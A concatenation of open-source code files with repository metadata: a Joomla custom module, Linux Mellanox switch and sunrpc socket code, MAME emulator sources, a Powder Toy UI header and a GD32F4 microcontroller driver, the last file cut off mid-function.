<?php /** * @package Joomla.Site * @subpackage mod_custom * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; if ($params->def('prepare_content', 1)) { JPluginHelper::importPlugin('content'); $module->content = JHtml::_('content.prepare', $module->content, '', 'mod_custom.content'); } $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'), ENT_COMPAT, 'UTF-8'); require JModuleHelper::getLayoutPath('mod_custom', $params->get('layout', 'default'));
gpl-2.0
zzpu/linux-stack
drivers/net/ethernet/mellanox/mlxsw/pci.h
7598
/* * drivers/net/ethernet/mellanox/mlxsw/pci.h * Copyright (c) 2015 Mellanox Technologies. All rights reserved. * Copyright (c) 2015 Jiri Pirko <[email protected]> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the names of the copyright holders nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * Alternatively, this software may be distributed under the terms of the * GNU General Public License ("GPL") version 2 as published by the Free * Software Foundation. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #ifndef _MLXSW_PCI_H #define _MLXSW_PCI_H #include <linux/bitops.h> #include "item.h" #define PCI_DEVICE_ID_MELLANOX_SWITCHX2 0xc738 #define PCI_DEVICE_ID_MELLANOX_SPECTRUM 0xcb84 #define MLXSW_PCI_BAR0_SIZE (1024 * 1024) /* 1MB */ #define MLXSW_PCI_PAGE_SIZE 4096 #define MLXSW_PCI_CIR_BASE 0x71000 #define MLXSW_PCI_CIR_IN_PARAM_HI MLXSW_PCI_CIR_BASE #define MLXSW_PCI_CIR_IN_PARAM_LO (MLXSW_PCI_CIR_BASE + 0x04) #define MLXSW_PCI_CIR_IN_MODIFIER (MLXSW_PCI_CIR_BASE + 0x08) #define MLXSW_PCI_CIR_OUT_PARAM_HI (MLXSW_PCI_CIR_BASE + 0x0C) #define MLXSW_PCI_CIR_OUT_PARAM_LO (MLXSW_PCI_CIR_BASE + 0x10) #define MLXSW_PCI_CIR_TOKEN (MLXSW_PCI_CIR_BASE + 0x14) #define MLXSW_PCI_CIR_CTRL (MLXSW_PCI_CIR_BASE + 0x18) #define MLXSW_PCI_CIR_CTRL_GO_BIT BIT(23) #define MLXSW_PCI_CIR_CTRL_EVREQ_BIT BIT(22) #define MLXSW_PCI_CIR_CTRL_OPCODE_MOD_SHIFT 12 #define MLXSW_PCI_CIR_CTRL_STATUS_SHIFT 24 #define MLXSW_PCI_CIR_TIMEOUT_MSECS 1000 #define MLXSW_PCI_SW_RESET 0xF0010 #define MLXSW_PCI_SW_RESET_RST_BIT BIT(0) #define MLXSW_PCI_SW_RESET_TIMEOUT_MSECS 5000 #define MLXSW_PCI_FW_READY 0xA1844 #define MLXSW_PCI_FW_READY_MASK 0xFF #define MLXSW_PCI_FW_READY_MAGIC 0x5E #define MLXSW_PCI_DOORBELL_SDQ_OFFSET 0x000 #define MLXSW_PCI_DOORBELL_RDQ_OFFSET 0x200 #define MLXSW_PCI_DOORBELL_CQ_OFFSET 0x400 #define MLXSW_PCI_DOORBELL_EQ_OFFSET 0x600 #define MLXSW_PCI_DOORBELL_ARM_CQ_OFFSET 0x800 #define MLXSW_PCI_DOORBELL_ARM_EQ_OFFSET 0xA00 #define MLXSW_PCI_DOORBELL(offset, type_offset, num) \ ((offset) + (type_offset) + (num) * 4) #define MLXSW_PCI_CQS_MAX 96 #define MLXSW_PCI_EQS_COUNT 2 #define MLXSW_PCI_EQ_ASYNC_NUM 0 #define MLXSW_PCI_EQ_COMP_NUM 1 #define MLXSW_PCI_AQ_PAGES 8 #define MLXSW_PCI_AQ_SIZE (MLXSW_PCI_PAGE_SIZE * MLXSW_PCI_AQ_PAGES) #define MLXSW_PCI_WQE_SIZE 32 /* 32 bytes per element */ #define MLXSW_PCI_CQE_SIZE 16 /* 16 bytes per element */ #define MLXSW_PCI_EQE_SIZE 16 /* 16 bytes per element */ #define MLXSW_PCI_WQE_COUNT (MLXSW_PCI_AQ_SIZE / MLXSW_PCI_WQE_SIZE) #define MLXSW_PCI_CQE_COUNT (MLXSW_PCI_AQ_SIZE / MLXSW_PCI_CQE_SIZE) #define MLXSW_PCI_EQE_COUNT (MLXSW_PCI_AQ_SIZE / MLXSW_PCI_EQE_SIZE) #define MLXSW_PCI_EQE_UPDATE_COUNT 0x80 #define MLXSW_PCI_WQE_SG_ENTRIES 3 #define MLXSW_PCI_WQE_TYPE_ETHERNET 0xA /* pci_wqe_c * If set it indicates that a completion should be reported upon * execution of this descriptor. */ MLXSW_ITEM32(pci, wqe, c, 0x00, 31, 1); /* pci_wqe_lp * Local Processing, set if packet should be processed by the local * switch hardware: * For Ethernet EMAD (Direct Route and non Direct Route) - * must be set if packet destination is local device * For InfiniBand CTL - must be set if packet destination is local device * Otherwise it must be clear * Local Process packets must not exceed the size of 2K (including payload * and headers). */ MLXSW_ITEM32(pci, wqe, lp, 0x00, 30, 1); /* pci_wqe_type * Packet type. */ MLXSW_ITEM32(pci, wqe, type, 0x00, 23, 4); /* pci_wqe_byte_count * Size of i-th scatter/gather entry, 0 if entry is unused. */ MLXSW_ITEM16_INDEXED(pci, wqe, byte_count, 0x02, 0, 14, 0x02, 0x00, false); /* pci_wqe_address * Physical address of i-th scatter/gather entry. * Gather Entries must be 2Byte aligned. */ MLXSW_ITEM64_INDEXED(pci, wqe, address, 0x08, 0, 64, 0x8, 0x0, false); /* pci_cqe_lag * Packet arrives from a port which is a LAG */ MLXSW_ITEM32(pci, cqe, lag, 0x00, 23, 1); /* pci_cqe_system_port/lag_id * When lag=0: System port on which the packet was received * When lag=1: * bits [15:4] LAG ID on which the packet was received * bits [3:0] sub_port on which the packet was received */ MLXSW_ITEM32(pci, cqe, system_port, 0x00, 0, 16); MLXSW_ITEM32(pci, cqe, lag_id, 0x00, 4, 12); MLXSW_ITEM32(pci, cqe, lag_port_index, 0x00, 0, 4); /* pci_cqe_wqe_counter * WQE count of the WQEs completed on the associated dqn */ MLXSW_ITEM32(pci, cqe, wqe_counter, 0x04, 16, 16); /* pci_cqe_byte_count * Byte count of received packets including additional two * Reserved Bytes that are append to the end of the frame. * Reserved for Send CQE. */ MLXSW_ITEM32(pci, cqe, byte_count, 0x04, 0, 14); /* pci_cqe_trap_id * Trap ID that captured the packet. */ MLXSW_ITEM32(pci, cqe, trap_id, 0x08, 0, 8); /* pci_cqe_crc * Length include CRC. Indicates the length field includes * the packet's CRC. */ MLXSW_ITEM32(pci, cqe, crc, 0x0C, 8, 1); /* pci_cqe_e * CQE with Error. */ MLXSW_ITEM32(pci, cqe, e, 0x0C, 7, 1); /* pci_cqe_sr * 1 - Send Queue * 0 - Receive Queue */ MLXSW_ITEM32(pci, cqe, sr, 0x0C, 6, 1); /* pci_cqe_dqn * Descriptor Queue (DQ) Number. */ MLXSW_ITEM32(pci, cqe, dqn, 0x0C, 1, 5); /* pci_cqe_owner * Ownership bit. */ MLXSW_ITEM32(pci, cqe, owner, 0x0C, 0, 1); /* pci_eqe_event_type * Event type. */ MLXSW_ITEM32(pci, eqe, event_type, 0x0C, 24, 8); #define MLXSW_PCI_EQE_EVENT_TYPE_COMP 0x00 #define MLXSW_PCI_EQE_EVENT_TYPE_CMD 0x0A /* pci_eqe_event_sub_type * Event type. */ MLXSW_ITEM32(pci, eqe, event_sub_type, 0x0C, 16, 8); /* pci_eqe_cqn * Completion Queue that triggeret this EQE. */ MLXSW_ITEM32(pci, eqe, cqn, 0x0C, 8, 7); /* pci_eqe_owner * Ownership bit. */ MLXSW_ITEM32(pci, eqe, owner, 0x0C, 0, 1); /* pci_eqe_cmd_token * Command completion event - token */ MLXSW_ITEM32(pci, eqe, cmd_token, 0x00, 16, 16); /* pci_eqe_cmd_status * Command completion event - status */ MLXSW_ITEM32(pci, eqe, cmd_status, 0x00, 0, 8); /* pci_eqe_cmd_out_param_h * Command completion event - output parameter - higher part */ MLXSW_ITEM32(pci, eqe, cmd_out_param_h, 0x04, 0, 32); /* pci_eqe_cmd_out_param_l * Command completion event - output parameter - lower part */ MLXSW_ITEM32(pci, eqe, cmd_out_param_l, 0x08, 0, 32); #endif
gpl-2.0
johnparker007/mame
src/devices/cpu/tms32082/dis_mp.h
1012
// license:BSD-3-Clause // copyright-holders:Ville Linde // TMS32082 MP Disassembler #ifndef MAME_CPU_TMS32082_DIS_MP_H #define MAME_CPU_TMS32082_DIS_MP_H #pragma once class tms32082_mp_disassembler : public util::disasm_interface { public: tms32082_mp_disassembler() = default; virtual ~tms32082_mp_disassembler() = default; virtual u32 opcode_alignment() const override; virtual offs_t disassemble(std::ostream &stream, offs_t pc, const data_buffer &opcodes, const data_buffer &params) override; private: static char const *const BCND_CONDITION[32]; static char const *const BITNUM_CONDITION[32]; static char const *const MEMOP_S[2]; static char const *const MEMOP_M[2]; static char const *const FLOATOP_PRECISION[4]; static char const *const ACC_SEL[4]; static char const *const FLOATOP_ROUND[4]; std::ostream *output; uint32_t fetch(offs_t &pos, const data_buffer &opcodes); std::string get_creg_name(uint32_t reg); std::string format_vector_op(uint32_t op, uint32_t imm32); }; #endif
gpl-2.0
johnparker007/mame
src/osd/modules/render/bgfx/clearreader.cpp
2264
// license:BSD-3-Clause // copyright-holders:Ryan Holtz //============================================================ // // clearreader.cpp - BGFX clear state JSON reader // //============================================================ #include <bgfx/bgfx.h> #include "clearreader.h" #include "clear.h" clear_state* clear_reader::read_from_value(const Value& value, std::string prefix) { if (!validate_parameters(value, prefix)) { return nullptr; } uint64_t clear_flags = 0; uint32_t clear_color = 0; float clear_depth = 1.0f; uint8_t clear_stencil = 0; if (value.HasMember("clearcolor")) { const Value& colors = value["clearcolor"]; for (int i = 0; i < colors.Size(); i++) { if (!READER_CHECK(colors[i].IsNumber(), (prefix + "clearcolor[" + std::to_string(i) + "] must be a numeric value\n").c_str())) return nullptr; auto val = int32_t(float(colors[i].GetDouble()) * 255.0f); if (val > 255) val = 255; if (val < 0) val = 0; clear_color |= val << (24 - (i * 3)); } clear_flags |= BGFX_CLEAR_COLOR; } if (value.HasMember("cleardepth")) { get_float(value, "cleardepth", &clear_depth, &clear_depth); clear_flags |= BGFX_CLEAR_DEPTH; } if (value.HasMember("clearstencil")) { clear_stencil = uint8_t(get_int(value, "clearstencil", clear_stencil)); clear_flags |= BGFX_CLEAR_STENCIL; } return new clear_state(clear_flags, clear_color, clear_depth, clear_stencil); } bool clear_reader::validate_parameters(const Value& value, std::string prefix) { if (!READER_CHECK(!value.HasMember("clearcolor") || (value["clearcolor"].IsArray() && value["clearcolor"].GetArray().Size() == 4), (prefix + "'clearcolor' must be an array of four numeric RGBA values representing the color to which to clear the color buffer\n").c_str())) return false; if (!READER_CHECK(!value.HasMember("cleardepth") || value["cleardepth"].IsNumber(), (prefix + "'cleardepth' must be a numeric value representing the depth to which to clear the depth buffer\n").c_str())) return false; if (!READER_CHECK(!value.HasMember("clearstencil") || value["clearstencil"].IsNumber(), (prefix + "'clearstencil' must be a numeric value representing the stencil value to which to clear the stencil buffer\n").c_str())) return false; return true; }
gpl-2.0
Brilliant-Minds/BMN-Powder-Toy-Old
src/gui/interface/ScrollPanel.h
870
#pragma once #include "Panel.h" namespace ui { class ScrollPanel: public Panel { protected: int scrollBarWidth; Point maxOffset; float offsetX; float offsetY; float yScrollVel; float xScrollVel; bool isMouseInsideScrollbar; bool isMouseInsideScrollbarArea; bool scrollbarSelected; int scrollbarInitialYOffset; int scrollbarInitialYClick; int scrollbarClickLocation; public: ScrollPanel(Point position, Point size); int GetScrollLimit(); void SetScrollPosition(int position); virtual void Draw(const Point& screenPos); virtual void XTick(float dt); virtual void XOnMouseWheelInside(int localx, int localy, int d); virtual void XOnMouseClick(int localx, int localy, unsigned int button); virtual void XOnMouseUp(int x, int y, unsigned int button); virtual void XOnMouseMoved(int localx, int localy, int dx, int dy); }; }
gpl-3.0
mbedmicro/mbed
targets/TARGET_GigaDevice/TARGET_GD32F4XX/GD32F4xx_standard_peripheral/Source/gd32f4xx_misc.c
7130
/*! \file gd32f4xx_misc.c \brief MISC driver \version 2016-08-15, V1.0.0, firmware for GD32F4xx \version 2018-12-12, V2.0.0, firmware for GD32F4xx \version 2018-12-25, V2.1.0, firmware for GD32F4xx (The version is for mbed) */ /* Copyright (c) 2018, GigaDevice Semiconductor Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "gd32f4xx_misc.h" /*! \brief set the priority group \param[in] nvic_prigroup: the NVIC priority group \arg NVIC_PRIGROUP_PRE0_SUB4:0 bits for pre-emption priority 4 bits for subpriority \arg NVIC_PRIGROUP_PRE1_SUB3:1 bits for pre-emption priority 3 bits for subpriority \arg NVIC_PRIGROUP_PRE2_SUB2:2 bits for pre-emption priority 2 bits for subpriority \arg NVIC_PRIGROUP_PRE3_SUB1:3 bits for pre-emption priority 1 bits for subpriority \arg NVIC_PRIGROUP_PRE4_SUB0:4 bits for pre-emption priority 0 bits for subpriority \param[out] none \retval none */ void nvic_priority_group_set(uint32_t nvic_prigroup) { /* set the priority group value */ SCB->AIRCR = NVIC_AIRCR_VECTKEY_MASK | nvic_prigroup; } /*! \brief enable NVIC request \param[in] nvic_irq: the NVIC interrupt request, detailed in IRQn_Type \param[in] nvic_irq_pre_priority: the pre-emption priority needed to set \param[in] nvic_irq_sub_priority: the subpriority needed to set \param[out] none \retval none */ void nvic_irq_enable(uint8_t nvic_irq, uint8_t nvic_irq_pre_priority, uint8_t nvic_irq_sub_priority) { uint32_t temp_priority = 0x00U, temp_pre = 0x00U, temp_sub = 0x00U; /* use the priority group value to get the temp_pre and the temp_sub */ if (((SCB->AIRCR) & (uint32_t)0x700U) == NVIC_PRIGROUP_PRE0_SUB4) { temp_pre = 0U; temp_sub = 0x4U; } else if (((SCB->AIRCR) & (uint32_t)0x700U) == NVIC_PRIGROUP_PRE1_SUB3) { temp_pre = 1U; temp_sub = 0x3U; } else if (((SCB->AIRCR) & (uint32_t)0x700U) == NVIC_PRIGROUP_PRE2_SUB2) { temp_pre = 2U; temp_sub = 0x2U; } else if (((SCB->AIRCR) & (uint32_t)0x700U) == NVIC_PRIGROUP_PRE3_SUB1) { temp_pre = 3U; temp_sub = 0x1U; } else if (((SCB->AIRCR) & (uint32_t)0x700U) == NVIC_PRIGROUP_PRE4_SUB0) { temp_pre = 4U; temp_sub = 0x0U; } else { nvic_priority_group_set(NVIC_PRIGROUP_PRE2_SUB2); temp_pre = 2U; temp_sub = 0x2U; } /* get the temp_priority to fill the NVIC->IP register */ temp_priority = (uint32_t)nvic_irq_pre_priority << (0x4U - temp_pre); temp_priority |= nvic_irq_sub_priority & (0x0FU >> (0x4U - temp_sub)); temp_priority = temp_priority << 0x04U; NVIC->IP[nvic_irq] = (uint8_t)temp_priority; /* enable the selected IRQ */ NVIC->ISER[nvic_irq >> 0x05U] = (uint32_t)0x01U << (nvic_irq & (uint8_t)0x1FU); } /*! \brief disable NVIC request \param[in] nvic_irq: the NVIC interrupt request, detailed in IRQn_Type \param[out] none \retval none */ void nvic_irq_disable(uint8_t nvic_irq) { /* disable the selected IRQ.*/ NVIC->ICER[nvic_irq >> 0x05] = (uint32_t)0x01 << (nvic_irq & (uint8_t)0x1F); } /*! \brief set the NVIC vector table base address \param[in] nvic_vict_tab: the RAM or FLASH base address \arg NVIC_VECTTAB_RAM: RAM base address \are NVIC_VECTTAB_FLASH: Flash base address \param[in] offset: Vector Table offset \param[out] none \retval none */ void nvic_vector_table_set(uint32_t nvic_vict_tab, uint32_t offset) { SCB->VTOR = nvic_vict_tab | (offset & NVIC_VECTTAB_OFFSET_MASK); } /*! \brief set the state of the low power mode \param[in] lowpower_mode: the low power mode state \arg SCB_LPM_SLEEP_EXIT_ISR: if chose this para, the system always enter low power mode by exiting from ISR \arg SCB_LPM_DEEPSLEEP: if chose this para, the system will enter the DEEPSLEEP mode \arg SCB_LPM_WAKE_BY_ALL_INT: if chose this para, the lowpower mode can be woke up by all the enable and disable interrupts \param[out] none \retval none */ void system_lowpower_set(uint8_t lowpower_mode) { SCB->SCR |= (uint32_t)lowpower_mode; } /*! \brief reset the state of the low power mode \param[in] lowpower_mode: the low power mode state \arg SCB_LPM_SLEEP_EXIT_ISR: if chose this para, the system will exit low power mode by exiting from ISR \arg SCB_LPM_DEEPSLEEP: if chose this para, the system will enter the SLEEP mode \arg SCB_LPM_WAKE_BY_ALL_INT: if chose this para, the lowpower mode only can be woke up by the enable interrupts \param[out] none \retval none */ void system_lowpower_reset(uint8_t lowpower_mode) { SCB->SCR &= (~(uint32_t)lowpower_mode); } /*! \brief set the systick clock source \param[in] systick_clksource: the systick clock source needed to choose \arg SYSTICK_CLKSOURCE_HCLK: systick clock source is from HCLK \arg SYSTICK_CLKSOURCE_HCLK_DIV8: systick clock source is from HCLK/8 \param[out] none \retval none */ void systick_clksource_set(uint32_t systick_clksource) { if (SYSTICK_CLKSOURCE_HCLK == systick_clksource) { /* set the systick clock source from HCLK */ SysTick->CTRL |= SYSTICK_CLKSOURCE_HCLK; } else { /* set the systick clock source from HCLK/8 */ SysTick->CTRL &= SYSTICK_CLKSOURCE_HCLK_DIV8; } }
apache-2.0
WhiteBearSolutions/WBSAirback
packages/wbsairback-kernel-image/wbsairback-kernel-image-3.2.43/net/sunrpc/svcsock.c
44069
/* * linux/net/sunrpc/svcsock.c * * These are the RPC server socket internals. * * The server scheduling algorithm does not always distribute the load * evenly when servicing a single client. May need to modify the * svc_xprt_enqueue procedure... * * TCP support is largely untested and may be a little slow. The problem * is that we currently do two separate recvfrom's, one for the 4-byte * record length, and the second for the actual record. This could possibly * be improved by always reading a minimum size of around 100 bytes and * tucking any superfluous bytes away in a temporary store. Still, that * leaves write requests out in the rain. An alternative may be to peek at * the first skb in the queue, and if it matches the next TCP sequence * number, to extract the record marker. Yuck. * * Copyright (C) 1995, 1996 Olaf Kirch <[email protected]> */ #include <linux/kernel.h> #include <linux/sched.h> #include <linux/module.h> #include <linux/errno.h> #include <linux/fcntl.h> #include <linux/net.h> #include <linux/in.h> #include <linux/inet.h> #include <linux/udp.h> #include <linux/tcp.h> #include <linux/unistd.h> #include <linux/slab.h> #include <linux/netdevice.h> #include <linux/skbuff.h> #include <linux/file.h> #include <linux/freezer.h> #include <net/sock.h> #include <net/checksum.h> #include <net/ip.h> #include <net/ipv6.h> #include <net/tcp.h> #include <net/tcp_states.h> #include <asm/uaccess.h> #include <asm/ioctls.h> #include <linux/sunrpc/types.h> #include <linux/sunrpc/clnt.h> #include <linux/sunrpc/xdr.h> #include <linux/sunrpc/msg_prot.h> #include <linux/sunrpc/svcsock.h> #include <linux/sunrpc/stats.h> #include <linux/sunrpc/xprt.h> #include "sunrpc.h" #define RPCDBG_FACILITY RPCDBG_SVCXPRT static struct svc_sock *svc_setup_socket(struct svc_serv *, struct socket *, int *errp, int flags); static void svc_udp_data_ready(struct sock *, int); static int svc_udp_recvfrom(struct svc_rqst *); static int svc_udp_sendto(struct svc_rqst *); static void svc_sock_detach(struct svc_xprt *); static void svc_tcp_sock_detach(struct svc_xprt *); static void svc_sock_free(struct svc_xprt *); static struct svc_xprt *svc_create_socket(struct svc_serv *, int, struct net *, struct sockaddr *, int, int); #if defined(CONFIG_SUNRPC_BACKCHANNEL) static struct svc_xprt *svc_bc_create_socket(struct svc_serv *, int, struct net *, struct sockaddr *, int, int); static void svc_bc_sock_free(struct svc_xprt *xprt); #endif /* CONFIG_SUNRPC_BACKCHANNEL */ #ifdef CONFIG_DEBUG_LOCK_ALLOC static struct lock_class_key svc_key[2]; static struct lock_class_key svc_slock_key[2]; static void svc_reclassify_socket(struct socket *sock) { struct sock *sk = sock->sk; BUG_ON(sock_owned_by_user(sk)); switch (sk->sk_family) { case AF_INET: sock_lock_init_class_and_name(sk, "slock-AF_INET-NFSD", &svc_slock_key[0], "sk_xprt.xpt_lock-AF_INET-NFSD", &svc_key[0]); break; case AF_INET6: sock_lock_init_class_and_name(sk, "slock-AF_INET6-NFSD", &svc_slock_key[1], "sk_xprt.xpt_lock-AF_INET6-NFSD", &svc_key[1]); break; default: BUG(); } } #else static void svc_reclassify_socket(struct socket *sock) { } #endif /* * Release an skbuff after use */ static void svc_release_skb(struct svc_rqst *rqstp) { struct sk_buff *skb = rqstp->rq_xprt_ctxt; if (skb) { struct svc_sock *svsk = container_of(rqstp->rq_xprt, struct svc_sock, sk_xprt); rqstp->rq_xprt_ctxt = NULL; dprintk("svc: service %p, releasing skb %p\n", rqstp, skb); skb_free_datagram_locked(svsk->sk_sk, skb); } } union svc_pktinfo_u { struct in_pktinfo pkti; struct in6_pktinfo pkti6; }; #define SVC_PKTINFO_SPACE \ CMSG_SPACE(sizeof(union svc_pktinfo_u)) static void svc_set_cmsg_data(struct svc_rqst *rqstp, struct cmsghdr *cmh) { struct svc_sock *svsk = container_of(rqstp->rq_xprt, struct svc_sock, sk_xprt); switch (svsk->sk_sk->sk_family) { case AF_INET: { struct in_pktinfo *pki = CMSG_DATA(cmh); cmh->cmsg_level = SOL_IP; cmh->cmsg_type = IP_PKTINFO; pki->ipi_ifindex = 0; pki->ipi_spec_dst.s_addr = svc_daddr_in(rqstp)->sin_addr.s_addr; cmh->cmsg_len = CMSG_LEN(sizeof(*pki)); } break; case AF_INET6: { struct in6_pktinfo *pki = CMSG_DATA(cmh); struct sockaddr_in6 *daddr = svc_daddr_in6(rqstp); cmh->cmsg_level = SOL_IPV6; cmh->cmsg_type = IPV6_PKTINFO; pki->ipi6_ifindex = daddr->sin6_scope_id; ipv6_addr_copy(&pki->ipi6_addr, &daddr->sin6_addr); cmh->cmsg_len = CMSG_LEN(sizeof(*pki)); } break; } } /* * send routine intended to be shared by the fore- and back-channel */ int svc_send_common(struct socket *sock, struct xdr_buf *xdr, struct page *headpage, unsigned long headoffset, struct page *tailpage, unsigned long tailoffset) { int result; int size; struct page **ppage = xdr->pages; size_t base = xdr->page_base; unsigned int pglen = xdr->page_len; unsigned int flags = MSG_MORE; int slen; int len = 0; slen = xdr->len; /* send head */ if (slen == xdr->head[0].iov_len) flags = 0; len = kernel_sendpage(sock, headpage, headoffset, xdr->head[0].iov_len, flags); if (len != xdr->head[0].iov_len) goto out; slen -= xdr->head[0].iov_len; if (slen == 0) goto out; /* send page data */ size = PAGE_SIZE - base < pglen ? PAGE_SIZE - base : pglen; while (pglen > 0) { if (slen == size) flags = 0; result = kernel_sendpage(sock, *ppage, base, size, flags); if (result > 0) len += result; if (result != size) goto out; slen -= size; pglen -= size; size = PAGE_SIZE < pglen ? PAGE_SIZE : pglen; base = 0; ppage++; } /* send tail */ if (xdr->tail[0].iov_len) { result = kernel_sendpage(sock, tailpage, tailoffset, xdr->tail[0].iov_len, 0); if (result > 0) len += result; } out: return len; } /* * Generic sendto routine */ static int svc_sendto(struct svc_rqst *rqstp, struct xdr_buf *xdr) { struct svc_sock *svsk = container_of(rqstp->rq_xprt, struct svc_sock, sk_xprt); struct socket *sock = svsk->sk_sock; union { struct cmsghdr hdr; long all[SVC_PKTINFO_SPACE / sizeof(long)]; } buffer; struct cmsghdr *cmh = &buffer.hdr; int len = 0; unsigned long tailoff; unsigned long headoff; RPC_IFDEBUG(char buf[RPC_MAX_ADDRBUFLEN]); if (rqstp->rq_prot == IPPROTO_UDP) { struct msghdr msg = { .msg_name = &rqstp->rq_addr, .msg_namelen = rqstp->rq_addrlen, .msg_control = cmh, .msg_controllen = sizeof(buffer), .msg_flags = MSG_MORE, }; svc_set_cmsg_data(rqstp, cmh); if (sock_sendmsg(sock, &msg, 0) < 0) goto out; } tailoff = ((unsigned long)xdr->tail[0].iov_base) & (PAGE_SIZE-1); headoff = 0; len = svc_send_common(sock, xdr, rqstp->rq_respages[0], headoff, rqstp->rq_respages[0], tailoff); out: dprintk("svc: socket %p sendto([%p %Zu... ], %d) = %d (addr %s)\n", svsk, xdr->head[0].iov_base, xdr->head[0].iov_len, xdr->len, len, svc_print_addr(rqstp, buf, sizeof(buf))); return len; } /* * Report socket names for nfsdfs */ static int svc_one_sock_name(struct svc_sock *svsk, char *buf, int remaining) { const struct sock *sk = svsk->sk_sk; const char *proto_name = sk->sk_protocol == IPPROTO_UDP ? "udp" : "tcp"; int len; switch (sk->sk_family) { case PF_INET: len = snprintf(buf, remaining, "ipv4 %s %pI4 %d\n", proto_name, &inet_sk(sk)->inet_rcv_saddr, inet_sk(sk)->inet_num); break; case PF_INET6: len = snprintf(buf, remaining, "ipv6 %s %pI6 %d\n", proto_name, &inet6_sk(sk)->rcv_saddr, inet_sk(sk)->inet_num); break; default: len = snprintf(buf, remaining, "*unknown-%d*\n", sk->sk_family); } if (len >= remaining) { *buf = '\0'; return -ENAMETOOLONG; } return len; } /** * svc_sock_names - construct a list of listener names in a string * @serv: pointer to RPC service * @buf: pointer to a buffer to fill in with socket names * @buflen: size of the buffer to be filled * @toclose: pointer to '\0'-terminated C string containing the name * of a listener to be closed * * Fills in @buf with a '\n'-separated list of names of listener * sockets. If @toclose is not NULL, the socket named by @toclose * is closed, and is not included in the output list. * * Returns positive length of the socket name string, or a negative * errno value on error. */ int svc_sock_names(struct svc_serv *serv, char *buf, const size_t buflen, const char *toclose) { struct svc_sock *svsk, *closesk = NULL; int len = 0; if (!serv) return 0; spin_lock_bh(&serv->sv_lock); list_for_each_entry(svsk, &serv->sv_permsocks, sk_xprt.xpt_list) { int onelen = svc_one_sock_name(svsk, buf + len, buflen - len); if (onelen < 0) { len = onelen; break; } if (toclose && strcmp(toclose, buf + len) == 0) { closesk = svsk; svc_xprt_get(&closesk->sk_xprt); } else len += onelen; } spin_unlock_bh(&serv->sv_lock); if (closesk) { /* Should unregister with portmap, but you cannot * unregister just one protocol... */ svc_close_xprt(&closesk->sk_xprt); svc_xprt_put(&closesk->sk_xprt); } else if (toclose) return -ENOENT; return len; } EXPORT_SYMBOL_GPL(svc_sock_names); /* * Check input queue length */ static int svc_recv_available(struct svc_sock *svsk) { struct socket *sock = svsk->sk_sock; int avail, err; err = kernel_sock_ioctl(sock, TIOCINQ, (unsigned long) &avail); return (err >= 0)? avail : err; } /* * Generic recvfrom routine. */ static int svc_recvfrom(struct svc_rqst *rqstp, struct kvec *iov, int nr, int buflen) { struct svc_sock *svsk = container_of(rqstp->rq_xprt, struct svc_sock, sk_xprt); struct msghdr msg = { .msg_flags = MSG_DONTWAIT, }; int len; rqstp->rq_xprt_hlen = 0; len = kernel_recvmsg(svsk->sk_sock, &msg, iov, nr, buflen, msg.msg_flags); dprintk("svc: socket %p recvfrom(%p, %Zu) = %d\n", svsk, iov[0].iov_base, iov[0].iov_len, len); return len; } static int svc_partial_recvfrom(struct svc_rqst *rqstp, struct kvec *iov, int nr, int buflen, unsigned int base) { size_t save_iovlen; void __user *save_iovbase; unsigned int i; int ret; if (base == 0) return svc_recvfrom(rqstp, iov, nr, buflen); for (i = 0; i < nr; i++) { if (iov[i].iov_len > base) break; base -= iov[i].iov_len; } save_iovlen = iov[i].iov_len; save_iovbase = iov[i].iov_base; iov[i].iov_len -= base; iov[i].iov_base += base; ret = svc_recvfrom(rqstp, &iov[i], nr - i, buflen); iov[i].iov_len = save_iovlen; 